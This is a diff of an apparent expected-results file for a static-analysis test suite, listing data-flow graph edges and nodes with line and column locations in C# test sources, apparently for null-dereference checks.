E.cs:139:21:139:29 | continue; | +| E.cs:139:21:139:29 | continue; | E.cs:123:21:123:24 | access to local variable stop | +| E.cs:141:17:141:26 | ...; | E.cs:123:21:123:24 | access to local variable stop | +| E.cs:152:16:152:26 | SSA def(obj2) | E.cs:153:13:153:54 | [false] ... && ... | +| E.cs:153:13:153:54 | [false] ... && ... | E.cs:158:9:159:28 | if (...) ... | +| E.cs:158:9:159:28 | if (...) ... | E.cs:159:13:159:16 | access to local variable obj2 | +| E.cs:162:28:162:28 | SSA param(a) | E.cs:164:29:164:29 | 0 | +| E.cs:164:17:164:40 | ... ? ... : ... | E.cs:165:25:165:25 | access to local variable i | +| E.cs:164:29:164:29 | 0 | E.cs:164:17:164:40 | ... ? ... : ... | +| E.cs:165:25:165:25 | access to local variable i | E.cs:166:9:170:9 | {...} | +| E.cs:165:25:165:25 | access to local variable i | E.cs:167:21:167:21 | access to parameter a | +| E.cs:165:32:165:32 | access to local variable i | E.cs:165:25:165:25 | access to local variable i | +| E.cs:166:9:170:9 | {...} | E.cs:165:32:165:32 | access to local variable i | +| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | +| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false | +| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:177:9:179:9 | {...} | +| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:178:13:178:15 | access to parameter obj | +| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:180:9:183:9 | if (...) ... | +| E.cs:175:33:175:37 | false | E.cs:175:19:175:42 | ... ? ... : ... | +| E.cs:177:9:179:9 | {...} | E.cs:180:9:183:9 | if (...) ... | +| E.cs:180:9:183:9 | if (...) ... | E.cs:181:9:183:9 | {...} | +| E.cs:181:9:183:9 | {...} | E.cs:184:9:187:9 | if (...) ... | +| E.cs:184:9:187:9 | if (...) ... | E.cs:186:13:186:15 | access to parameter obj | +| E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | +| E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | +| E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | +| E.cs:206:28:206:28 | SSA param(s) | E.cs:208:13:208:23 | [false] ... is ... | +| E.cs:208:13:208:23 | [false] ... is ... | E.cs:210:16:210:16 | access to parameter s | +| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | +| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:220:13:220:13 | access to local variable x | +| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:13 | access to local variable x | +| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:25 | ...; | +| E.cs:229:13:229:25 | ...; | E.cs:230:9:230:9 | access to local variable x | +| E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | +| E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i | +| E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | +| E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o | +| E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s | +| E.cs:319:29:319:30 | SSA param(s1) | E.cs:321:20:321:21 | access to parameter s2 | +| E.cs:321:13:321:30 | [true] ... is ... | E.cs:323:13:323:14 | access to parameter s1 | +| E.cs:321:14:321:21 | ... ?? ... | E.cs:321:13:321:30 | [true] ... is ... | +| E.cs:321:20:321:21 | access to parameter s2 | E.cs:321:14:321:21 | ... ?? ... | +| E.cs:330:13:330:36 | SSA def(x) | E.cs:331:9:331:9 | access to local variable x | +| E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x | +| E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x | +| E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s | +| E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s | +| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 | +| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | +| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... | +| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | +| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 | +| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... | +| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | +| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... | +| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | +| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... | +| E.cs:384:9:385:24 | if (...) ... | E.cs:384:13:384:36 | [false] ... && ... | +| E.cs:384:9:385:24 | if (...) ... | E.cs:384:27:384:28 | access to parameter e2 | +| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:16:386:17 | access to parameter e1 | +| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:27:386:28 | access to parameter e2 | +| E.cs:384:27:384:28 | access to parameter e2 | E.cs:384:13:384:36 | [false] ... && ... | +| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | +| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i | +| E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i | +| E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i | +| E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i | +| E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... | +| E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s | +| F.cs:7:16:7:23 | SSA def(o) | F.cs:8:9:8:9 | access to local variable o | +| F.cs:13:17:13:24 | SSA def(o) | F.cs:14:9:14:9 | access to local variable o | +| Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... | +| Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... | +| Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... | +| Forwarding.cs:19:9:22:9 | if (...) ... | Forwarding.cs:19:13:19:23 | [false] !... | +| Forwarding.cs:19:13:19:23 | [false] !... | Forwarding.cs:24:9:27:9 | if (...) ... | +| Forwarding.cs:24:9:27:9 | if (...) ... | Forwarding.cs:29:9:32:9 | if (...) ... | +| Forwarding.cs:29:9:32:9 | if (...) ... | Forwarding.cs:34:9:37:9 | if (...) ... | +| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:35:9:37:9 | {...} | +| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:36:31:36:31 | access to local variable s | +| Forwarding.cs:35:9:37:9 | {...} | Forwarding.cs:40:27:40:27 | access to local variable s | +| GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:9:13:9:36 | [false] !... | +| GuardedString.cs:9:13:9:36 | [false] !... | GuardedString.cs:14:9:17:9 | if (...) ... | +| GuardedString.cs:14:9:17:9 | if (...) ... | GuardedString.cs:14:13:14:41 | [false] !... | +| GuardedString.cs:14:13:14:41 | [false] !... | GuardedString.cs:19:9:20:40 | if (...) ... | +| GuardedString.cs:19:9:20:40 | if (...) ... | GuardedString.cs:19:26:19:26 | 0 | +| GuardedString.cs:19:26:19:26 | 0 | GuardedString.cs:22:9:23:40 | if (...) ... | +| GuardedString.cs:22:9:23:40 | if (...) ... | GuardedString.cs:22:25:22:25 | 0 | +| GuardedString.cs:22:25:22:25 | 0 | GuardedString.cs:25:9:26:40 | if (...) ... | +| GuardedString.cs:25:9:26:40 | if (...) ... | GuardedString.cs:25:26:25:26 | 0 | +| GuardedString.cs:25:26:25:26 | 0 | GuardedString.cs:28:9:29:40 | if (...) ... | +| GuardedString.cs:28:9:29:40 | if (...) ... | GuardedString.cs:28:25:28:26 | 10 | +| GuardedString.cs:28:25:28:26 | 10 | GuardedString.cs:31:9:32:40 | if (...) ... | +| GuardedString.cs:31:9:32:40 | if (...) ... | GuardedString.cs:31:26:31:27 | 10 | +| GuardedString.cs:31:26:31:27 | 10 | GuardedString.cs:34:9:37:40 | if (...) ... | +| GuardedString.cs:34:9:37:40 | if (...) ... | GuardedString.cs:34:26:34:26 | 0 | +| GuardedString.cs:34:26:34:26 | 0 | GuardedString.cs:35:31:35:31 | access to local variable s | +| NullAlwaysBad.cs:7:29:7:29 | SSA param(s) | NullAlwaysBad.cs:9:30:9:30 | access to parameter s | +| NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o | +| Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args | +| StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:15:16:15:16 | access to local variable s | +| StringConcatenation.cs:15:16:15:16 | access to local variable s | StringConcatenation.cs:16:17:16:17 | access to local variable s | nodes | A.cs:7:16:7:40 | SSA def(synchronizedAlways) | | A.cs:8:15:8:32 | access to local variable synchronizedAlways | @@ -415,6 +896,10 @@ nodes | E.cs:435:29:435:29 | SSA param(s) | | E.cs:437:13:437:21 | [true] ... is ... | | E.cs:439:13:439:13 | access to parameter s | +| F.cs:7:16:7:23 | SSA def(o) | +| F.cs:8:9:8:9 | access to local variable o | +| F.cs:13:17:13:24 | SSA def(o) | +| F.cs:14:9:14:9 | access to local variable o | | Forwarding.cs:7:16:7:23 | SSA def(s) | | Forwarding.cs:9:13:9:30 | [false] !... | | Forwarding.cs:14:9:17:9 | if (...) ... | @@ -452,482 +937,3 @@ nodes | StringConcatenation.cs:14:16:14:23 | SSA def(s) | | StringConcatenation.cs:15:16:15:16 | access to local variable s | | StringConcatenation.cs:16:17:16:17 | access to local variable s | -edges -| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:8:15:8:32 | access to local variable synchronizedAlways | -| A.cs:7:16:7:40 | SSA def(synchronizedAlways) | A.cs:10:13:10:30 | access to local variable synchronizedAlways | -| A.cs:16:15:16:30 | SSA def(arrayNull) | A.cs:17:9:17:17 | access to local variable arrayNull | -| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:31:27:31:37 | access to local variable arrayAccess | -| A.cs:26:15:26:32 | SSA def(arrayAccess) | A.cs:36:27:36:37 | access to local variable arrayAccess | -| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:32:27:32:37 | access to local variable fieldAccess | -| A.cs:27:18:27:35 | SSA def(fieldAccess) | A.cs:37:27:37:37 | access to local variable fieldAccess | -| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:33:28:33:39 | access to local variable methodAccess | -| A.cs:28:16:28:34 | SSA def(methodAccess) | A.cs:38:15:38:26 | access to local variable methodAccess | -| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:34:27:34:36 | access to local variable methodCall | -| A.cs:29:16:29:32 | SSA def(methodCall) | A.cs:39:27:39:36 | access to local variable methodCall | -| A.cs:48:16:48:28 | SSA def(varRef) | A.cs:50:9:50:14 | access to local variable varRef | -| Assert.cs:13:9:13:25 | [b (line 7): false] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | -| Assert.cs:13:9:13:25 | [b (line 7): true] SSA def(s) | Assert.cs:15:27:15:27 | access to local variable s | -| Assert.cs:21:9:21:25 | [b (line 7): false] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | -| Assert.cs:21:9:21:25 | [b (line 7): true] SSA def(s) | Assert.cs:23:27:23:27 | access to local variable s | -| Assert.cs:29:9:29:25 | [b (line 7): false] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | -| Assert.cs:29:9:29:25 | [b (line 7): true] SSA def(s) | Assert.cs:31:27:31:27 | access to local variable s | -| Assert.cs:45:9:45:25 | [b (line 7): true] SSA def(s) | Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | -| Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | Assert.cs:47:27:47:27 | access to local variable s | -| Assert.cs:46:36:46:36 | [b (line 7): true] access to parameter b | Assert.cs:46:23:46:36 | [true, b (line 7): true] ... && ... | -| Assert.cs:49:9:49:25 | [b (line 7): true] SSA def(s) | Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | -| Assert.cs:50:24:50:38 | [false] ... \|\| ... | Assert.cs:51:27:51:27 | access to local variable s | -| Assert.cs:50:37:50:38 | [false] !... | Assert.cs:50:24:50:38 | [false] ... \|\| ... | -| Assert.cs:50:38:50:38 | [b (line 7): true] access to parameter b | Assert.cs:50:37:50:38 | [false] !... | -| B.cs:7:11:7:29 | SSA def(eqCallAlways) | B.cs:13:13:13:24 | access to local variable eqCallAlways | -| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:13:13:13:36 | ...; | -| B.cs:10:11:10:30 | SSA def(neqCallAlways) | B.cs:15:9:16:26 | if (...) ... | -| B.cs:13:13:13:36 | ...; | B.cs:15:9:16:26 | if (...) ... | -| B.cs:15:9:16:26 | if (...) ... | B.cs:16:13:16:26 | ...; | -| B.cs:15:9:16:26 | if (...) ... | B.cs:18:9:20:26 | if (...) ... | -| B.cs:16:13:16:26 | ...; | B.cs:18:9:20:26 | if (...) ... | -| B.cs:18:9:20:26 | if (...) ... | B.cs:18:25:18:27 | {...} | -| B.cs:18:9:20:26 | if (...) ... | B.cs:20:13:20:26 | ...; | -| B.cs:18:25:18:27 | {...} | B.cs:22:9:24:37 | if (...) ... | -| B.cs:20:13:20:26 | ...; | B.cs:22:9:24:37 | if (...) ... | -| B.cs:22:9:24:37 | if (...) ... | B.cs:24:13:24:25 | access to local variable neqCallAlways | -| C.cs:10:16:10:23 | SSA def(o) | C.cs:11:17:11:28 | [false] !... | -| C.cs:11:13:11:30 | [false] !... | C.cs:16:9:19:9 | if (...) ... | -| C.cs:11:15:11:29 | [true] !... | C.cs:11:13:11:30 | [false] !... | -| C.cs:11:17:11:28 | [false] !... | C.cs:11:15:11:29 | [true] !... | -| C.cs:16:9:19:9 | if (...) ... | C.cs:16:13:16:24 | [true] !... | -| C.cs:16:13:16:24 | [true] !... | C.cs:18:13:18:13 | access to local variable o | -| C.cs:40:13:40:35 | SSA def(s) | C.cs:42:9:42:9 | access to local variable s | -| C.cs:55:13:55:36 | SSA def(o2) | C.cs:57:9:57:10 | access to local variable o2 | -| C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | -| C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | -| C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | -| C.cs:94:13:94:45 | SSA def(o) | C.cs:96:13:96:13 | access to local variable o | -| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | -| C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | -| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:103:22:103:22 | Int32 x | -| C.cs:103:9:107:9 | foreach (... ... in ...) ... | C.cs:106:13:106:16 | access to parameter list | -| C.cs:103:22:103:22 | Int32 x | C.cs:103:9:107:9 | foreach (... ... in ...) ... | -| C.cs:103:27:103:30 | access to parameter list | C.cs:103:9:107:9 | foreach (... ... in ...) ... | -| C.cs:159:9:159:16 | SSA def(s) | C.cs:162:13:162:13 | access to local variable s | -| C.cs:167:9:167:16 | SSA def(s) | C.cs:170:13:170:13 | access to local variable s | -| C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | -| C.cs:193:9:193:16 | SSA def(s) | C.cs:196:13:196:13 | access to local variable s | -| C.cs:197:13:197:20 | [b (line 192): true] SSA def(s) | C.cs:196:13:196:13 | access to local variable s | -| C.cs:201:16:201:19 | true | C.cs:203:13:203:13 | access to local variable s | -| C.cs:204:13:204:20 | SSA def(s) | C.cs:201:16:201:19 | true | -| C.cs:210:13:210:35 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | -| C.cs:214:13:214:20 | SSA def(s) | C.cs:217:9:218:25 | if (...) ... | -| C.cs:217:9:218:25 | if (...) ... | C.cs:218:13:218:13 | access to local variable s | -| C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | -| C.cs:229:22:229:22 | access to local variable s | C.cs:233:9:233:9 | access to local variable s | -| C.cs:229:33:229:40 | SSA def(s) | C.cs:229:22:229:22 | access to local variable s | -| C.cs:235:14:235:21 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | -| C.cs:235:24:235:24 | access to local variable s | C.cs:237:13:237:13 | access to local variable s | -| C.cs:235:35:235:42 | SSA def(s) | C.cs:235:24:235:24 | access to local variable s | -| C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | -| C.cs:248:15:248:22 | SSA def(a) | C.cs:249:9:249:9 | access to local variable a | -| C.cs:257:15:257:23 | SSA def(ia) | C.cs:260:9:260:10 | access to local variable ia | -| C.cs:257:15:257:23 | SSA def(ia) | C.cs:263:9:263:10 | access to local variable ia | -| C.cs:258:18:258:26 | SSA def(sa) | C.cs:261:20:261:21 | access to local variable sa | -| C.cs:258:18:258:26 | SSA def(sa) | C.cs:264:16:264:17 | access to local variable sa | -| D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | -| D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | -| D.cs:58:13:58:41 | SSA def(o5) | D.cs:61:9:62:26 | if (...) ... | -| D.cs:61:9:62:26 | if (...) ... | D.cs:62:13:62:14 | access to local variable o5 | -| D.cs:68:13:68:34 | SSA def(o7) | D.cs:69:18:69:36 | ... && ... | -| D.cs:69:18:69:36 | ... && ... | D.cs:73:13:73:14 | access to local variable o7 | -| D.cs:75:13:75:34 | SSA def(o8) | D.cs:76:34:76:35 | 42 | -| D.cs:76:21:76:43 | ... ? ... : ... | D.cs:79:9:80:26 | if (...) ... | -| D.cs:76:34:76:35 | 42 | D.cs:76:21:76:43 | ... ? ... : ... | -| D.cs:79:9:80:26 | if (...) ... | D.cs:81:9:82:26 | if (...) ... | -| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:14 | access to local variable o8 | -| D.cs:81:9:82:26 | if (...) ... | D.cs:82:13:82:26 | ...; | -| D.cs:81:9:82:26 | if (...) ... | D.cs:83:9:84:26 | if (...) ... | -| D.cs:82:13:82:26 | ...; | D.cs:83:9:84:26 | if (...) ... | -| D.cs:83:9:84:26 | if (...) ... | D.cs:84:13:84:14 | access to local variable o8 | -| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | -| D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:22 | ...; | -| D.cs:89:15:89:44 | SSA def(xs) | D.cs:93:9:94:30 | if (...) ... | -| D.cs:91:13:91:22 | ...; | D.cs:93:9:94:30 | if (...) ... | -| D.cs:93:9:94:30 | if (...) ... | D.cs:94:13:94:30 | ...; | -| D.cs:93:9:94:30 | if (...) ... | D.cs:94:21:94:22 | access to local variable xs | -| D.cs:93:9:94:30 | if (...) ... | D.cs:96:9:99:9 | if (...) ... | -| D.cs:94:13:94:30 | ...; | D.cs:96:9:99:9 | if (...) ... | -| D.cs:96:9:99:9 | if (...) ... | D.cs:97:9:99:9 | {...} | -| D.cs:96:9:99:9 | if (...) ... | D.cs:98:21:98:22 | access to local variable xs | -| D.cs:96:9:99:9 | if (...) ... | D.cs:101:9:102:35 | if (...) ... | -| D.cs:97:9:99:9 | {...} | D.cs:101:9:102:35 | if (...) ... | -| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | -| D.cs:101:9:102:35 | if (...) ... | D.cs:102:31:102:32 | access to local variable xs | -| D.cs:101:9:102:35 | if (...) ... | D.cs:104:9:106:30 | if (...) ... | -| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:102:26:102:26 | Int32 _ | -| D.cs:102:13:102:35 | foreach (... ... in ...) ... | D.cs:104:9:106:30 | if (...) ... | -| D.cs:102:26:102:26 | Int32 _ | D.cs:102:13:102:35 | foreach (... ... in ...) ... | -| D.cs:102:31:102:32 | access to local variable xs | D.cs:102:13:102:35 | foreach (... ... in ...) ... | -| D.cs:104:9:106:30 | if (...) ... | D.cs:105:19:105:20 | access to local variable xs | -| D.cs:104:9:106:30 | if (...) ... | D.cs:106:17:106:18 | access to local variable xs | -| D.cs:118:9:118:30 | SSA def(x) | D.cs:120:13:120:13 | access to local variable x | -| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | -| D.cs:125:35:125:35 | SSA param(a) | D.cs:127:32:127:32 | 0 | -| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:32:127:32 | 0 | -| D.cs:125:44:125:44 | SSA param(b) | D.cs:127:36:127:36 | access to parameter a | -| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | -| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:32:128:32 | 0 | -| D.cs:127:20:127:43 | ... ? ... : ... | D.cs:128:36:128:36 | access to parameter b | -| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | -| D.cs:127:32:127:32 | 0 | D.cs:127:20:127:43 | ... ? ... : ... | -| D.cs:127:36:127:36 | access to parameter a | D.cs:127:20:127:43 | ... ? ... : ... | -| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | -| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:131:9:137:9 | {...} | -| D.cs:128:20:128:43 | ... ? ... : ... | D.cs:138:9:138:18 | ... ...; | -| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | -| D.cs:128:32:128:32 | 0 | D.cs:128:20:128:43 | ... ? ... : ... | -| D.cs:128:36:128:36 | access to parameter b | D.cs:128:20:128:43 | ... ? ... : ... | -| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:131:9:137:9 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | -| D.cs:132:29:132:29 | access to local variable i | D.cs:133:13:136:13 | {...} | -| D.cs:132:29:132:29 | access to local variable i | D.cs:134:24:134:24 | access to parameter a | -| D.cs:132:29:132:29 | access to local variable i | D.cs:135:24:135:24 | access to parameter b | -| D.cs:132:29:132:29 | access to local variable i | D.cs:138:9:138:18 | ... ...; | -| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:133:13:136:13 | {...} | D.cs:132:29:132:29 | access to local variable i | -| D.cs:138:9:138:18 | ... ...; | D.cs:142:13:142:22 | ...; | -| D.cs:142:13:142:22 | ...; | D.cs:143:9:146:9 | for (...;...;...) ... | -| D.cs:143:9:146:9 | for (...;...;...) ... | D.cs:143:25:143:25 | access to local variable i | -| D.cs:143:25:143:25 | access to local variable i | D.cs:144:9:146:9 | {...} | -| D.cs:143:25:143:25 | access to local variable i | D.cs:145:20:145:20 | access to parameter a | -| D.cs:144:9:146:9 | {...} | D.cs:143:25:143:25 | access to local variable i | -| D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | -| D.cs:163:16:163:25 | SSA def(obj) | D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | -| D.cs:168:9:170:9 | [exception: Exception] catch (...) {...} | D.cs:168:26:168:26 | [exception: Exception] Exception e | -| D.cs:168:26:168:26 | [exception: Exception] Exception e | D.cs:171:9:171:11 | access to local variable obj | -| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:29:241:32 | null | -| D.cs:240:9:240:16 | SSA def(o) | D.cs:241:36:241:37 | "" | -| D.cs:241:21:241:37 | ... ? ... : ... | D.cs:244:9:247:25 | if (...) ... | -| D.cs:241:29:241:32 | null | D.cs:241:21:241:37 | ... ? ... : ... | -| D.cs:241:36:241:37 | "" | D.cs:241:21:241:37 | ... ? ... : ... | -| D.cs:244:9:247:25 | if (...) ... | D.cs:245:13:245:13 | access to local variable o | -| D.cs:244:9:247:25 | if (...) ... | D.cs:247:13:247:13 | access to local variable o | -| D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | -| D.cs:258:16:258:23 | SSA def(o) | D.cs:266:9:267:25 | if (...) ... | -| D.cs:266:9:267:25 | if (...) ... | D.cs:266:13:266:27 | [true] ... is ... | -| D.cs:266:13:266:27 | [true] ... is ... | D.cs:267:13:267:13 | access to local variable o | -| D.cs:269:9:269:16 | SSA def(o) | D.cs:272:25:272:25 | access to local variable i | -| D.cs:272:25:272:25 | access to local variable i | D.cs:273:9:288:9 | {...} | -| D.cs:272:25:272:25 | access to local variable i | D.cs:290:9:291:25 | if (...) ... | -| D.cs:272:39:272:39 | access to local variable i | D.cs:272:25:272:25 | access to local variable i | -| D.cs:273:9:288:9 | {...} | D.cs:281:13:287:13 | if (...) ... | -| D.cs:281:13:287:13 | if (...) ... | D.cs:272:39:272:39 | access to local variable i | -| D.cs:283:17:283:24 | SSA def(o) | D.cs:285:28:285:30 | {...} | -| D.cs:283:17:283:24 | SSA def(o) | D.cs:286:17:286:30 | ...; | -| D.cs:285:28:285:30 | {...} | D.cs:286:17:286:30 | ...; | -| D.cs:286:17:286:30 | ...; | D.cs:272:39:272:39 | access to local variable i | -| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:13 | access to local variable o | -| D.cs:290:9:291:25 | if (...) ... | D.cs:291:13:291:25 | ...; | -| D.cs:290:9:291:25 | if (...) ... | D.cs:293:9:294:25 | if (...) ... | -| D.cs:291:13:291:25 | ...; | D.cs:293:9:294:25 | if (...) ... | -| D.cs:293:9:294:25 | if (...) ... | D.cs:294:13:294:13 | access to local variable o | -| D.cs:296:16:296:26 | SSA def(prev) | D.cs:297:25:297:25 | access to local variable i | -| D.cs:297:25:297:25 | access to local variable i | D.cs:298:9:302:9 | {...} | -| D.cs:298:9:302:9 | {...} | D.cs:300:17:300:20 | access to local variable prev | -| D.cs:304:16:304:23 | SSA def(s) | D.cs:307:13:311:13 | foreach (... ... in ...) ... | -| D.cs:307:13:311:13 | foreach (... ... in ...) ... | D.cs:312:13:313:29 | if (...) ... | -| D.cs:312:13:313:29 | if (...) ... | D.cs:312:17:312:23 | [true] !... | -| D.cs:312:17:312:23 | [true] !... | D.cs:313:17:313:17 | access to local variable s | -| D.cs:316:16:316:23 | SSA def(r) | D.cs:318:16:318:19 | access to local variable stat | -| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | -| D.cs:318:16:318:19 | access to local variable stat | D.cs:318:41:318:44 | access to local variable stat | -| D.cs:318:16:318:62 | [false] ... && ... | D.cs:324:9:324:9 | access to local variable r | -| D.cs:318:41:318:44 | access to local variable stat | D.cs:318:16:318:62 | [false] ... && ... | -| D.cs:351:15:351:22 | SSA def(a) | D.cs:355:9:356:21 | for (...;...;...) ... | -| D.cs:355:9:356:21 | for (...;...;...) ... | D.cs:355:25:355:25 | access to local variable i | -| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:13 | access to local variable a | -| D.cs:355:25:355:25 | access to local variable i | D.cs:356:13:356:21 | ...; | -| D.cs:356:13:356:21 | ...; | D.cs:355:25:355:25 | access to local variable i | -| D.cs:360:20:360:30 | SSA def(last) | D.cs:361:29:361:29 | access to local variable i | -| D.cs:361:29:361:29 | access to local variable i | D.cs:363:13:363:16 | access to local variable last | -| D.cs:366:15:366:47 | SSA def(b) | D.cs:367:13:367:56 | [false] ... && ... | -| D.cs:367:13:367:56 | [false] ... && ... | D.cs:370:9:373:9 | for (...;...;...) ... | -| D.cs:370:9:373:9 | for (...;...;...) ... | D.cs:370:25:370:25 | access to local variable i | -| D.cs:370:25:370:25 | access to local variable i | D.cs:371:9:373:9 | {...} | -| D.cs:370:25:370:25 | access to local variable i | D.cs:372:13:372:13 | access to local variable b | -| D.cs:371:9:373:9 | {...} | D.cs:370:25:370:25 | access to local variable i | -| D.cs:378:19:378:28 | SSA def(ioe) | D.cs:382:9:385:27 | if (...) ... | 